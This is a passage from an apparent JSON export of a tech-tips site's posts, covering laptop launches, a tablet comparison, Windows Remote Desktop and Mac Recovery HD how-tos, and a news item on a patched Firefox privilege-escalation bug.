charging); 1 x LAN RJ45 jack; mic and headphone jacks. Dimensions: 39.97 x 29.34 x 2.79cm Weight: 2.9kg Asus Strix SCAR 17 has a starting price of 2999.99 euros, and began shipping right in the end of this April.\nncG1vNJzZmismaXArq3KnmWcp51krrTB0majmq2emLWmsIysq6uhqGLApK3RZmhwZZFitKqtza1koJmdnruoecuap62noA%3D%3D\n","link":"/post/asus-launched-strix-scar-17-a-giant-gaming-laptop/","section":"post","tags":null,"title":"Asus launched Strix SCAR 17, a giant gaming laptop"},{"body":"Having exhibited at Computex 2013 in May, Asus recently revealed their high-end Zenbook Infinity. Machine promises will be announced at IFA 2013.\n  In the video, Asus seems to have revealed the new name for the product is the Zenbook UX301. In terms of configuration, the UX301 is equipped with a 13.3-inch high-resolution screen of 2560x1440, Intel's latest Core i7 chip Haswell platform, WiFi 802.11ac standard, SonicMaster audio technology.\nIt will also be very thin with a thickness of only 15.5 mm. In addition, this will probably be the first ultrabook with a Gorilla Glass tempered glass 3, which will give it 3 times better scratch resistance than the previous generation Zenbook Prime (Zenbook Prime).\nncG1vNJzZmismaXArq3KnmWcp51krrTB0mapnq6VlrmmsIytn55lmJ60qbHNnWSznZ6XvLC3jK6vbGhhYrqwsMSlZK6kpKeuo7vOpA%3D%3D\n","link":"/post/asus-revealed-the-high-end-zenbook-ux301-model-ultrabook/","section":"post","tags":null,"title":"Asus revealed the high-end Zenbook UX301 model ultrabook"},{"body":"Have you heard of a new tablet with an improved mobile processor, with removable keyboard and magnetic stylus? The tablet promises better battery life than laptops and runs most similar apps, with LTE support to help you stay connected. In short, this product promises to bridge the gap between phones and laptops.\nProducts that the article is referring to nothing else are Microsoft Surface Pro X and Apple iPad Pro.\nBut even though these two devices sound similar in concept, they represent two very different ideas. The iPad Pro is an upgraded iOS device that does more than the iPhone, thanks to its larger screen, keyboard, stylus, own operating system, and even mouse support. To be honest, the iPad Pro is a response to Microsoft's Surface Pro, which is famous for the idea of ​​adding a detachable keyboard and stylus to a powerful tablet.\nNow Microsoft's new reaction to the iPad Pro - shown in Surface Pro X - in turn looks at the strengths of the iPad, by distilling the Windows 10 experience to a more mobile-friendly form, thanks to features like better battery life, slimmer appearance and ARM-based processor.\nWhat is the difference between Microsoft Surface Pro X and iPad Pro?   There is a clear difference here: The Surface Pro X is a more traditional PC. It has an replaceable SSD, multiple USB-C ports and will run lots of familiar applications like Office and Chrome just as expected, if you're used to using a traditional laptop. You have more control over what can be installed and how to use them. Besides, the Surface Pro X has a trackpad and a mouse.\nMicrosoft promises the Surface Pro X will have up to 13 hours of battery life, compared to just 10 hours on the iPad Pro. The Surface Pro X also has a larger 13-inch screen, which is similar in size and thickness to Apple's model.\nThe price of Microsoft Surface Pro X compared to iPad Pro   In terms of price, the Surface Pro X starts at $ 999. The Type Cover and Surface Pen are sold separately, priced at $ 139.99 (3,240,000 VND) and $ 144.99 (3,350,000 VND) or you can buy a combo for $ 269.99 (6,243,000 VND). A total of $ 1268.99 (VND 29,342,000) for the full Surface Pro X experience.\nApple's iPad Pro is priced similarly, starting at $ 799 (VND 18,475,000) for a small screen and $ 999 (VND 23,000,000) for a model the same size as the Surface Pro X. Apple Pencil is priced at $ 129 (2,983,000 VND), while Apple's smart keyboard, Smart Keyboard, costs $ 179 (VND 4,140,000) or $ 199 (4,600,000 VND), depending on tablet size, with a starting price of $ 1,098 (VND 25,390,000) or $ 1,327 (VND 30,685,000). Of course, for the same amount, you can easily own a real laptop from Apple or Microsoft.\nIt is still too early to say how the war will unfold: iPadOS is a completely new product and there is much to be proven when turning the iPad into a main computer. There are still some big questions about whether Microsoft's new SQ1 processor really keeps up, especially with past errors of Windows ARM devices (such as the original Surface RT). The same question is asked: Can you rely on iPad Pro or Surface Pro X to completely replace a laptop?\n'What is a computer?' The question was initiated by Apple two years ago, creating an ongoing debate on the Internet about the future of laptops. A year later, the introduction of Surface Pro X was Microsoft's clear answer to this problem. Whether or not one of these two firms can actually give the right answer to that question remains to be seen.\nSpecifications of Microsoft Surface Pro X compared to iPad Pro   Specifications Microsoft Surface Pro XApple iPad Pro (12.9-inch) Apple iPad Pro (11-inch) 13-inch 12.9-inch 11-inch screen Resolution 2880 x 1920 2732 x 2048 2388 x 1668 Microsoft SQ1 Apple A12X Processor Apple A12X RAM 8GB, 16GB 4GB, 6GB 4GB, 6GB Storage capacity 128GB, 256GB, 512GB 64GB, 256GB, 512GB, 1TB 64GB, 256GB, 512GB, 1TB Front camera 5MP 7MP 7MP Rear camera 10MP 12MP 12MP Battery Will be announced after 9,720 mAh 7,812mAh USB-C port (2x), USB-C surface charging port USB-C Weight (g) 771 630 467 Dimensions (cm) 28,7 x 20,8 x 0,7 28 x 21, 5 x 0.6 24.7 x 17.8 x 0.6 Starting price $ 999 $ 999 $ 799 Stylus pen price $ 144.99 $ 129 $ 129 Keyboard price $ 139.99 $ 199 $ 179ncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmWdnrCzu9Kona1lo6q%2Fp63CnmSpqp9ixW7DyK2fZqGglrFuvNGo\n","link":"/post/compare-microsoft-surface-pro-x-with-ipad-pro/","section":"post","tags":null,"title":"Compare Microsoft Surface Pro X with iPad Pro"},{"body":"Razer has launched the new generation of Blade Pro 17 gaming laptops (Blade Pro 17 2020) with a series of hardware improvements that focus on the power of heavy gaming and support content creation work.\nBoth Blade 15 2020 and Blade Stealth 13 2020 launched not too long ago have been upgraded to Razer's 10th-generation Intel processors with Comet Lake and Ice Lake 10nm, respectively. Therefore, Blade Pro 17 2020 is a higher-end product, of course, it will also own the latest and best hardware from Intel and Nvidia.\nThe new version of Blade Pro 17 comes with Intel's H-series processors, up to Core i7-10875H with 8 cores and 16 threads. The GPU is up to Super Nvidia GeForce RTX 2080 with Max-Q design, promising 25% performance improvement over previous RTX models. Along with that is 16GB of DDR4 RAM and 512GB or 1TB SSD storage.\nRazer Blade Pro 17 2020 One of the highlights to mention on the new Blade Pro 17 is the screen. Razer equips its pet with a really quality panel with very large size, up to 17.3 inches, Full HD, refresh rate (refresh rate) up to 300Hz for smooth transition. and sharp. There is also a 4K UHD resolution option with 120Hz refresh rate and 100% DCI-P3 color coverage, making it an ideal laptop not only for gamers but also for content creators.\nIn addition, Razer has also optimized the benzene border around the screen, greatly reducing the overall size of the device while giving a more modern feel.\nRegarding the connection ports, not too much changes on the new version. The Razer Blade Pro 17 2020 will still have 3 USB 3.2 Gen 2 Type-A ports, 1 USB 3.2 Gen 2 Type-C port, 1 Thunderbolt 3 port, 1 2.5Gb Ethernet port, HDMI 2.0b, and UHS SD card reader. -III.\nThe new Razer Blade 17 Pro models will start shipping in late May at prices starting from $ 2,599 for the lowest-spec version.\nncG1vNJzZmismaXArq3KnmWcp51kv6LGxKtkm6SRmbJuvNGoZGpvXWd9c3yMoaCgoJWjsW6zwKagp59doa6xwM6pZLChpJ16pLvMnqtmpJGgsm6vz65kmqaUYoBxfMezZKybopqyrw%3D%3D\n","link":"/post/high-end-gaming-laptop-with-comet-lake-cpu-and-300hz-screen/","section":"post","tags":null,"title":"High-end gaming laptop with Comet Lake CPU and 300Hz screen"},{"body":"Normally to control another computer we often use TeamViewer software, because this is a popular remote control software and is popular with many users. However, if you are in the same LAN, you do not need to use those 3rd party software, but you can use a feature available in Windows called Remote Desktop. Remote Desktop tool will help us control computers on the same LAN easily without installing any other applications. The following article TipsMake.com will guide you how to enable and use the Remote Desktop feature on Windows 10 to control the computer. Please follow along.\n  Step 1: To use the Remote Desktop feature you must first enable it by the following way.\nYou open Settings in windows 10 then select System.\n  Step 2 : In the new window, select the Remote Desktop item in the left column, then on the right side of the window, find the Enable Remote Desktop item and switch from Off to On to enable Remote Desktop. If a message appears, click the Confirm button .\nNote: You must enable Remote Desktop both on your computer and the controlled machine.\n  Step 3: So we have activated Remote Desktop, now to be able to control another computer you need to know the IP address of that computer.\nTo see the IP address you do the following:\nFirst press the Windows + R key combination to open the Run dialog box, enter the command ncpa.cpl and press Enter\n  A new window appears, right-click on the connected network and select Status\n  A small window appears, click the Details button .\n  In the new window you can see the IP address of that computer in the Ipv4 Address section\n  Step 4: Once you have the IP address, go back to your computer and open the Remote Desktop Connection tool by opening the search and find the tool as shown below.\n  Step 5 : At the interface of the Remote Desktop tool, enter the IP address of the controlled machine in the box and click Connect\n  Step 6: In the new window, enter the username and password of the computer to be controlled and click OK.\nTo know your username, you can right-click on the This PC icon and select Properties , then in the new window you look at the Computer name section which is the computer's login name.\n  If a message appears, click Yes\n  Then you wait for the computer to connect with each other and we will be taken to the screen of the other computer to control.\n  In addition to using the available Remote Desktop Connection tool, you can use Microsoft  Remote Desktop software developed by Microsoft for Windows 10. This software has a nicer interface and when connecting you do not need an IP address.\nStep 1 : To download the software, you must access the Microsoft Store application store and find Microsoft Remote Desktop application as shown below and click Install to install.\nOr you can go to this link to quickly open the app store:\nhttps://www.microsoft.com/store/productId/9WZDNCRFJ3PS\n  Step 2 : After the installation is complete, open the application, click the Add button, and then select the Desktop item\n  Step 3 : Enter the name of the computer and click Save .\n  Step 4: We will see a new computer appear on the software, click on that computer.\n  Step 5: Enter the username and password of the computer to be controlled and click Connect\n  Then a new window will appear, click Connect again and we will be taken to the screen of the computer to be controlled.\n  Above TipsMake.com has instructed you how to control the computer on the LAN using the Remote Desktop tool available in Windows 10, hope the article will help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8Gzu8tmmGabn6K9tsDEq2Sipl2hrq951qKroWWimrqwwMRmm56rm6m8sXnIrGSarpGeuaKuy55koqZdrLavsM6wqmZpYA%3D%3D\n","link":"/post/how-to-control-a-computer-in-lan-with-remote-desktop-is-available-in-windows-10/","section":"post","tags":null,"title":"How to control a computer in LAN with Remote Desktop is available in Windows 10"},{"body":"Since OS X Lion, the Mac OS installation includes creating a Volume Recovery HD, hiding it on the Mac boot drive. In case of an emergency, you can start HD Recovery and use Disk Utility to troubleshoot hard drive, access online and browse for information about problems you encounter or reinstall Mac operating system.\nYou can discover more about how to use Volume Recovery HD in the article: Use volume HD Recovery to reinstall or troubleshoot OS X.\nInstructions for creating HD Recovery on any Mac drive Create your own Mac Recovery HD on any drive Two methods for creating HD Recovery Things you need  Create HD Recovery Volume on OS X Lion via OS X Yosemite Prepare target volume A few additional notes  Create volume Recovery HD on OS X El Capitan and later versions Use Terminal to create a hidden disk image of volume Recovery HD Use Disk Utility to create Recovery HD partitions Copy disk image Recovery HD to the partition Hide volume Recovery HD  Create your own Mac Recovery HD on any drive   Apple also created a utility called OS X Recovery Disk Assistant, which can create a copy of HD Recovery on any bootable external hard drive that you have connected to your Mac. This is good news for many Mac users who want to have HD Recovery volume on the drive, in addition to the boot drive. However, this utility can only create HD Volume Recovery on an external hard drive. This makes it difficult for all Mac Pro, iMac users and even Mac mini users to have multiple internal hard drives.\nWith the help of some hidden Mac OS features, a bit of time and step-by-step instructions, you can create a HD Recovery Volume wherever you want, including an internal hard drive.\nTwo methods for creating HD Recovery Due to some feature changes available in many different versions of Mac OS, there are two different methods used to create volume recovery HD, depending on the version of Mac OS you are using.\nThe article will show you both methods. The first method for OS X Lion is via OS X Yosemite and the second is for OS X El Capitan, as well as macOS Sierra and later versions.\nThings you need To create a copy of the Volume Recovery HD, you must first have volume Recovery HD work on the Mac's boot drive, because we will use the original Recovery HD as the source to create a copy for this volume.\nIf there is no volume recovery HD on the boot drive, then you will not be able to use these instructions. Even so, don't worry! Instead, create a bootable copy of the Mac OS installer, including all recovery utilities like volume recovery HD.\nNow is the time to find out what to do to create a copy of the Volume Recovery HD.\nCreate HD Recovery Volume on OS X Lion via OS X Yosemite   Volume Recovery HD is hidden. It will not show up on the desktop, in Disk Utility or any other cloning application. To copy Recovery HD, you must first display it, so that the copy application can work with the volume.\nWith OS X Lion via OS X Yosemite, you can use a hidden feature of Disk Utility. Disk Utility includes a hidden Debug menu that you can use to force hidden partitions shown in Disk Utility. This is exactly what you need, so the first step in the copy process is to activate the Debug menu .\nRemember, you will only find the Disk Utility Debug menu available in OS X Lion via OS X Yosemite. If you are using a newer version of Mac OS, go to the next section. Otherwise, follow the instructions to display the Debug menu , then go back and continue the copy creation process for HD Recovery.\nPrepare target volume You can create a Recovery HD copy on any drive listed in Disk Utility, but this copying process will delete any data on the target volume. For this reason, you should resize and add partitions dedicated to the new HD Recovery volume you are about to create. The Recovery HD partition can be very small (650MB is the minimum size, but you should make it slightly larger). Disk Utility may not be able to create such a small partition, so just use the smallest size it can create.\nOnce you've created the destination drive partition, you can proceed to the next step.\n1. Launch Disk Utility, located in / Applications / Utilities.\n2. From the Debug menu , select Show Every Partition .\n3. Volume Recovery HD will be displayed in Device List in Disk Utility.\n4. In Disk Utility, select the original volume recovery HD, then click the Restore tab .\n5. Drag the HD Recovery volume into the Source field .\n6. Drag the volume you want to use for Recovery HD to the Destination field . Carefully check that you are copying the volume correctly to the destination, because any volume you drag into it will be erased by the copy creation process.\n7. When you are sure everything is correct, click the Restore button .\n8. Disk Utility will ask if you really want to delete the destination drive. Click Erase.\n9. You will need to provide admin password. Enter the required information and click OK.\n10. The cloning process will begin. Disk Utility will provide a status bar to help you update the progress status. When Disk Utility completes the replication process, you are ready to use the new Recovery HD (but if you're lucky, you'll never need to use it).\nA few additional notes Creating a new Volume Recovery HD in this way will make it appear on the desktop. You can use Disk Utility to unmount volume recovery HD if you want. Here's how to do it:\n1. Choose a new Volume Recovery HD from Device List in Disk Utility.\n2. At the top of the Disk Utility window , click the Unmount button .\nIf there are multiple Recovery HD drives attached to your Mac, you can choose a drive to use in an emergency, by booting the Mac while holding down the Option key. This will force the Mac to display all bootable drives. Then you can choose one of the drives you want to use for emergencies.\nCreate volume Recovery HD on OS X El Capitan and later versions   Create HD Recovery volumes on internal hard drives on OS X El Capitan, macOS Sierra and later versions are a bit more complicated. That's because, with the advent of OS X El Capitan, Apple removed the hidden Debug Disk Utility menu. Because Disk Utility can no longer access the hidden Recovery HD partition, we must use another method, namely Terminal and the command line version of Disk Utility, Diskutil.\nUse Terminal to create a hidden disk image of volume Recovery HD The first step is to create a disk image for hidden Recovery HD. Disk image performs two functions: Create a copy of the hidden Volume Recovery HD and make it available, easily accessible from the Mac desktop.\n1. Launch Terminal, located in / Applications / Utilities.\n2. You need to find the disk identifier for the hidden Recovery HD partition. Enter the information as shown below at the Terminal prompt (replace the disk identifier you found according to the instructions below):\nsudo hdiutil create ~/Desktop/Recovery HD.dmg –srcdevice /dev/DiskIdentifier  The actual example of the order can be:\nsudo hdiutil create ~/Desktop/Recovery HD.dmg -srcdevice /dev/disk1s3  If you are using macOS High Sierra or higher, there will be an error in the hduitil command because Terminal does not recognize the backslash () to exit the space character. This may result in an error message \"Only one image can be created at a time\" . Instead, use parentheses to exit all Recovery HD.dmg names as follows:\nsudo hdiutil create ~/Desktop/'Recovery HD.dmg' -srcdevice /dev/DiskIdentifier  The terminal will display a list of all partitions the Mac can access, including hidden partitions. Search for an entry with Apple_Boot and NAME 's TYPE of Recovery HD. The line with the Recovery HD section will also have a field labeled Identifier. Here, you will find the real name used by the system to access the partition.\nThe identifier for your Recovery HD partition may be different, but it will include the word \"disk\", a number, \"s\" and other numbers. Once you know the name for HD Recovery, you can proceed to create a visible disk image.\n3. Press Enter or Return .\n4. Terminal will ask for your admin password. Please enter the password and press Enter or Return .\n5. When the Terminal prompt returns, the disk image for Recovery HD will be created on the Mac desktop.\nUse Disk Utility to create Recovery HD partitions The next step is to create the volume partition on which you want the Volume Recovery HD to be created.\nThis guide will work with OS X El Capitan and newer versions of Mac OS.\nThe Recovery HD partition you created only needs to be slightly larger than the Recovery HD partition, usually between 650MB and 1.5GB or more. However, since the size may vary with each new version of the operating system, you should make the partition size larger than 1.5GB.\nWhen creating the partition for the selected drive, you can continue the following steps.\nCopy disk image Recovery HD to the partition The next step is to copy disk image Recovery HD to the partition you just created. You can do this in the Disk Utility application using the Restore command .\n1. Launch Disk Utility, if you have not opened this application.\n2. In the Disk Utility window , select the partition you just created. Partitioning will be listed in the sidebar.\n3. Click the Restore button on the toolbar or select Restore from the Edit menu .\n4. A drop-down page will appear. Click the Image button .\n5. Navigate to the image Recovery HD.dmg file that you created earlier. This file will be in the Desktop folder .\n6. Select the HD Recovery file.dmg, and then click Open.\n7. In Disk Utility on the drop-down page, click the Restore button .\n8. Disk Utility will create a copy. When the process is complete, click the Done button .\nNow you have the HD Recovery volume on the selected drive.\nHide volume Recovery HD If you recall when you started this process, the article asked you to use the \"diskutil\" of Terminal to find the Volume Recovery HD. It will have an Apple_Boot type . The volume recovery HD you just created is not currently set to Apple_Boot type . Therefore, the last task is to set Type. This will also cause the volume recovery HD to be hidden.\nDisk identifier for volume Recovery HD you need to explore. Since this volume is currently mounted on your Mac, you can use Disk Utility to locate it.\n1. Launch Disk Utility, if it is not already open.\n2. From the sidebar, select the volume recovery HD you just created. It must be the only one in the sidebar, since only visible devices displayed in the sidebar and the original Recovery HD are hidden.\n3. In the table in the right pane, you will see the entry with the Device: label. Note the identifier name. It will have the same format as disk1s3 as seen before.\n4. With volume recovery HD still selected, click the Unmount button on the Disk Utility Toolbar .\n5. Launch Terminal.\n6. At the Terminal prompt, enter:\nsudo asr adjust --target /dev/disk1s3 -settype Apple_Boot  7. Make sure to change the disk identifier to match your HD Recovery volume.\n8. Press Enter or Return .\n9. Provide admin password.\n10. Press Enter or Return .\nCongratulations! You have successfully created a copy of the Volume Recovery HD on the drive of your choice.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYymmJxlopqwsMLEq7BmoJRivK95wKewZpyinsOm\n","link":"/post/how-to-create-mac-recovery-hd-on-any-drive/","section":"post","tags":null,"title":"How to create Mac Recovery HD on any drive"},{"body":"Along with Facebook, Facebook Messenger, chat and video call applications also became a popular application. We can still contact friends on Facebook's list, but work completely independent of Facebook, without affecting the process of surfing Facebook.\nIn particular, Facebook Messenger is also an application or update with many new and attractive features. And recently it was creating a snow effect when chatting with friends on Facebook Messenger. Instead of the simple white interface as before, continuous falling snowflakes with sounds that sound Christmas will make the conversation more interesting. Along with Network Administrator discover this new unique effect in the article below.\nCreate awesome effects on Facebook Messenger First of all, download the latest Facebook Messenger to use this feature.\nDownload Facebook Messenger for iOS Download Facebook Messenger for Android Step 1: You log in to Facebook Messenger account on the device. At the main interface, click on the account you want to chat with.\n   Step 2: At the chat frame interface, click the smiley emoji icon . Drag right or left to find and click the snowflake and Snowman icon . These 2 icons will be in the symbol of bear or Animal \u0026amp; Nature. If you don't see that Facebook icon, copy this snowman ⛄ and paste it.\n   Step 3: After selecting, press the Submit button and you will see the snow effect on the screen with the sound.\n   Step 4: In addition, we can also change Emoticons with Snowman icon. Still in the chat interface, click on the account name of your friends. Appearance of contact details of friends, click Emoticons .\n   Step 5: After that, you will be selected the emoticons, choose the Snowman figure. As a result, we will receive a notification. You have placed a new emoticon as shown. And the Like button has been replaced by the Snowman figure. When clicking on the Snowman figure, the snow effect will appear and we don't need to open the emoji anymore. Manipulate much faster.\n    Above is how to use the snow effect when chatting on Facebook Messenger. With just a few simple steps, our conversation becomes much more colorful. Try changing the white interface with the snowfall effect on Facebook Messenger.\nRefer to the following articles:\nHow to log out of Facebook Messenger on iOS, Android and Windows Phone How to call, video Facebook Messenger on mobile, tablet How to chat with Chatible strangers on Facebook Messenger Wish you fun entertainment!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyspaivlpa5rXnEn52em6RivK95xZqanpqfpLhuucSsqp6ml5q%2F\n","link":"/post/how-to-create-snowfall-effect-on-facebook-messenger/","section":"post","tags":null,"title":"How to create snowfall effect on Facebook Messenger"},{"body":"In addition to announcing some new entertainment services, Apple has also released iOS 12.2. The new update includes a long list of improvements including support for second generation AirPods and Apple News +. Another interesting feature is the ability to use Siri on iPhone or iPad to play videos on Apple TV. The following is a guide on how to use this feature.\nNote: To do this, you need to update your iPhone or iPad to iOS 12.2 or later version. Updating Apple TV to tvOS version 12.2 or higher and Apple TV needs to be added to the Home application on iPhone or iPad.\nUse Siri on iPhone or iPad to play videos on Apple TV If both of your devices have been updated, there are almost no complicated settings, other than knowing the name Apple TV. You can find the device name on Apple TV by visiting Settings\u0026gt; General\u0026gt; About and viewing the 'Name' field (which is 'Apple TV' by default).\n  Next, from iPhone or iPad, launch Siri and say: 'Hey Siri, watch Star Trek Discovery on [Apple TV name]' (Hey Siri, see Star Trek Discovery on [Apple TV name]). If you only have an Apple TV, you can just say: 'Hey Siri, watch [show / movie name] on my TV' ( Hey Siri, watch [show / movie name] on my TV ). Siri will find the content you want to see.\nAfter that, the program or movie will play on TV, in the application it is available. For example, the author requested Star Trek Discovery, available on CBS All Access. When the program starts playing, you will be able to use the basic playback control features from the lock screen.\n  In fact, you can launch the touch screen version of the Apple TV remote control, with the 'Search' button on the network and no need to install the standalone Remote application.\n  Experience Siri and Apple TV Now, there are a few things to point out here. First, you need to log in to the application (s) on the TV to play a program. The application does not need to be active, but you need to log in to it first. Also, choosing where it plays a program doesn't need to be the same as where you are watching it. For example, the author asked Siri to play 'The Gifted' that was opened in the Fox Now app, not in Hulu where it was viewed.\nIn addition, as you can guess, this feature is not very \"harmonious\" with everything from Netflix. For example, you can call House of Card, but you will be taken to the remote control on the screen or physical Siri Remote. The same thing happens if you want to watch a movie bought. And if you require a program title that has multiple sections / seasons, you will be provided with a list of sections on the phone.\n  Using Siri on iPhone to play videos on Apple TV is not only an optimal feature, but also quite interesting. This feature may be useful if you lose or lose the physical Apple TV controller.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0tdGiZKimXZ69qbvNnmStp12luaLFjK%2BgnZ2fqHqwuoyap6mklWLBtw%3D%3D\n","link":"/post/how-to-use-siri-on-iphone-to-play-videos-on-apple-tv/","section":"post","tags":null,"title":"How to use Siri on iPhone to play videos on Apple TV"},{"body":"The SSID (short for Service Set Identifier) ​​is the primary name of 802.1 wireless LAN (WLAN) including home and public hotspots. Client devices use this name to identify and connect to a wireless network. For example, when connecting to a wireless network at an office or school named guestnetwork, you also see other Wifi names within range. All the names you see are the SSID for those specific networks.\nLocal area network - LAN (Part I) On the home Wi-Fi network, the router or broadband modem stores SSID but allows the administrator to change it. Routers broadcast this name to help wireless clients find networks.\nHow to share broadband internet connection What is SSID ? SSID is a case-sensitive text string, up to 32 characters long, including letters and / or numbers. Router device manufacturers set default SSIDs for Wifi devices, such as Linksys, xfinitywifi, NETGEAR, dlink, etc. However, because SSID can change wireless networks, there are no default names. like this again.\nHow does the device use SSID ?   \nWireless devices such as phones and laptops scan the network area and show a list of network names. Users can connect to a new network by selecting a network name from the list. In addition to seeing the network name, users will know whether the network is open or secured when the lock icon is visible next to the SSID.\nMost wireless devices can monitor the networks that users join and prioritize network connections. In particular, users can save passwords for the device to automatically connect to that network. In other words, when connected, the device often asks if you want to save the network or automatically connect when in the network area. In addition, you can set up the connection yourself without access to the network (ie you can \"connect\" to the remote network so that when within range the device will log in).\nInstall laptop to prioritize wired network connection How to set up Wifi priority mode on Android and iPhone Most wireless routers have the option to turn off SSID broadcast to increase Wifi security because it will require the client to know two passwords, SSIDs and network passwords. However, this is not very effective because it is easy to find the SSID from the header (header) of the data packets going through the router.\n  Connect to the network when the SSID broadcast has been disabled requiring users to create a profile with their name and other connection parameters.\nProblems with SSID If a network is not secure, it means that no password is set, anyone can connect to it when knowing the SSID. Using the default SSID will confuse wireless devices because there may be many of the same names in a connection area. When a Wifi device detects two networks with the same name, it automatically connects to a network with a stronger radio signal that may not be the network the user wants to connect to. In some cases, users may be \"dropped\" their home network and automatically connected to a neighbor's open network. The SSID in the home network should only be generic. Some names (like HackMeIfYouCan) attract thieves targeting certain homes and networks. SSID may contain offensive language or encrypted messages. See more:\nWi-Fi security is better than hiding the SSID SSID cloaking - safe or unsafe? Instructions for use and security of Wifi network ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkrKuZmXqiusNmrqKqlaGytL%2BMp5ytr5%2BnuA%3D%3D\n","link":"/post/learn-ssid-and-wireless-network/","section":"post","tags":null,"title":"Learn SSID and wireless network"},{"body":"This vulnerability resides in the Mozilla Maintenance Service, so if successfully exploited, hackers can gain admin rights of the system.\nMozilla Maintenance Service is an optional service of Firefox and Thunderbird that keeps application updates running in the background. It provides Firefox users with a seamless update experience, without the need to click the \"Yes\" option in Windows User Account Control (UAC) before updating their web browser or email client.\n  Mozilla has patched the privilege escalation vulnerability tracked under code CVE-2022-22753 in the just released Fifefox 97 update.\nWhen successfully exploiting CVE-2022-22753 on unpatched computers, hackers can take over NT AUTHORITYSYSTEM, the highest control on Windows systems.\n\"A Time-of-Check Time-of-Use bug exists in the Mozilla Maintenance Service that can be abused to give users write permission to an arbitrary directory. This can be used to elevate access permissions. SYSTEM level,\" Mozilla shared. \"This bug only affects Firefox on Windows. Other operating systems are not affected.\"\nMozilla also adds that Firefox 97 has resolved many of the memory-safe bugs found by the Mozilla community and developers in Firefox 96 and Firefox ESR 91.5.\nFirefox 97 adds some new features and improvements Besides bug fixes, the new Firefox update also brings a number of new features and improvements. The first is the new style scrollbars on Windows 11 and the next is an improvement in loading system fonts on macOS that makes opening and switching new tabs faster.\nfirefox privilege escalation ncG1vNJzZmismaXArq3KnmWcp51kurDGyKWjmmWglsGktMSsZJplpqq5r7HRmpmipJmpxm61zWadoqqVm7y5edOhmK1lmJq5sb%2BMoZico5WnwG6zwKKlZpmUoravedGinqGso2K8p3nWoqWdp6eo\n","link":"/post/mozilla-patches-a-vulnerability-in-firefox-that-helps-hackers-gain-admin-rights-of-windows/","section":"post","tags":null,"title":"Mozilla patches a vulnerability in Firefox that helps hackers gain admin rights of Windows"},{"body":"QuanTriMang.com - This phenomenon has been too popular for many people when taking photos at night and using flash . In the following tutorial, TipsMake.com will work with you to overcome this phenomenon with just a few simple steps with the program Paint.NET - the application is completely free and compatible with other versions of Windows operating system. together.\n\u0026gt;\u0026gt; Eliminate red-eye phenomenon in photos\n Here, you need to use the support tool called Color Replacement Tool on the Tools menu:\n Press R to display the following color picker:\n You choose the color you want. In the illustration image, we will choose the main color is black, while the secondary color is red, corresponding to replacing the red in the eye with black we choose:\n Adjusting the Brush Width accordingly, in the example above it is quite large, so we will select a Brush Width of 100. Also change the Tolerance parameter if we cannot erase the red areas on the eye:\n Do the same with the other eye:\n So you have completed the basic operations to remove the 'red eye' effect in lightless photos quickly, just meticulously while deleting and choosing colors so that it is natural. , you have the image you want. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kv6a5zq%2BcZqyYmnqzscOesJ5llZuzpq%2FTZqCnZaCdvLW70mauoqyYYr2itc2tpZ6s\n","link":"/post/remove-the-red-eye-effect-in-photos-with-paint-net/","section":"post","tags":null,"title":"Remove the red-eye effect in photos with Paint.NET"},{"body":"Writing software is one of the office support tools that help users edit, write and prepare digital documents for different purposes. Coming to this article, TipsMake.com will introduce you to the top 5 best text editing software today.\n  1. Microsoft Word   Visit the website: Microsoft Word\nhttps://www.microsoft.com/en-us/microsoft-365/p/word/cfq7ttc0k7c7?activetab=pivot%3aoverviewtab\nSpeaking of text editing, of course, we cannot ignore the top leader in this field. Microsoft Word is the leading popular word processor in Vietnam. Most office computer users install a version of Word themselves.\nThis software has always been improved by the parent company Microsoft over the years and often produces the latest versions, containing powerful editing tools, to meet the needs of users. People even joke with each other that if you can master all the functions in Word, then maybe you will be invited by Microsoft to work for you, enough to see the tools used in Word as diverse as how.\n2. OpenOffice   Visit the website: OpenOffice\nhttps://www.openoffice.org/download/\nOpenOffice is an editing software of the Apache company. It supports users with powerful editing functions such as creating documents, making presentations, creating spreadsheets, creating diagrams, etc.\nAlthough not as strong as Microsoft Word's coverage, within the past 10 years OpenOffice has been a constantly growing and developing drafting software. Especially with open source, users can easily install and use without having to worry about account registration issues to pay fees.\n3. LaTeX - Texmaker   Visit website: LaTeX - Texmaker\nhttps://www.xm1math.net/texmaker/download.html\nLaTeX - Texmaker is a free drafting application that supports various operating systems. It has many tools needed to edit and edit file formats.\nLaTeX - Texmaker is a very good format software that allows you to design prints with high print quality.\n4. AbiWord   Visit website: AbiWord\nhttps://www.abisource.com/download/\nAbiWord is a portable editor, which means you don't need to install it to use it. AbiWord is very compact and handy, and you can copy it to USB or external memory for convenient use.\nAbiWord is compatible with the Microsoft operating system so it can easily be opened with popular Word software.\n5. Celtx   Visit website: Celtx\nhttps://www.celtx.com/index.html\nIf you have the dream to become a screenwriter, Celtx will be a very good choice for you. Celtx is very useful when helping you create online scripts, made for advertisers and feature screenwriters .\nIt has lots of useful and easy to use features, and it is also completely free for users.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXq1sdetZJ6cmam2r7OMrKafrKeWv6Z506ibmrE%3D\n","link":"/post/top-5-best-text-editing-software-today/","section":"post","tags":null,"title":"Top 5 best text editing software today"},{"body":"Let's explore online logo creation websites, with simple but still beautiful operations.\nTOP website to create simple and beautiful online logo TailorBrands Although it takes some time for users to search and select icons, TailorBrands is still a great tool for creating logos, with the fonts and colors arranged and harmoniously combined.\n  The best part about using TailorBrands is that each logo choice is explained specifically how it looks and has a visual impact. Example: This logo has a great balance between luxury and class. Orange color is added to increase the vibrancy of the brand.\nThe operation on this website is also very simple, just enter the name, choose the logo style, font, color, business model, . and TailorBrands will combine the elements together.\nLogo Makr   Logo Makr focuses on customizability, so the quality of the logo will depend a lot on the user. So, if you're having trouble designing anything, this online logo maker might not be for you.\nHowever, compared to the logo creation sites on this list, Logo Makr has a large graphic library, along with a wide selection of components that make up a beautiful, quality logo.\nLooka Looka offers very modern and professional logo designs. With AI, the ideas that Looka generates look great and stand out a bit more than other logo generators.\n  Looka uses AI to help understand the business model before the logo. From more than 20 logo examples displayed, users will choose 